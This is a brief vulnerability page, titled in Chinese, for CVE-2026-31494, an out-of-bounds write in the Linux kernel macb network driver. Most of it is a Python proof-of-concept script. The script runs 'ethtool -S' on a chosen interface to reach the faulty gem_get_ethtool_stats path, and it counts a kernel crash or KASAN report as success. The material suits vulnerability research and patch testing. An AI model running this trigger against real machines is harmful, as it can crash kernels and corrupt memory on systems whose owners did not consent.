CVE-2026-31494: Linux内核macb驱动越界写漏洞

# PoC for CVE-2026-31494 # This PoC triggers the OOB write by calling ethtool stats on a device with fewer active queues than max. import subprocess import sys def trigger_poc(interface): try: # Calling ethtool to get stats triggers gem_get_ethtool_stats # This attempts to copy more data than allocated if queue count mismatches result = subprocess.run(['ethtool', '-S', interface], capture_output=True, text=True) print("Output:", result.stdout) print("Error:", result.stderr) print("If kernel crashes or KASAN reports, PoC successful.") except Exception as e: print(f"Exception: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <network_interface>") else: trigger_poc(sys.argv[1])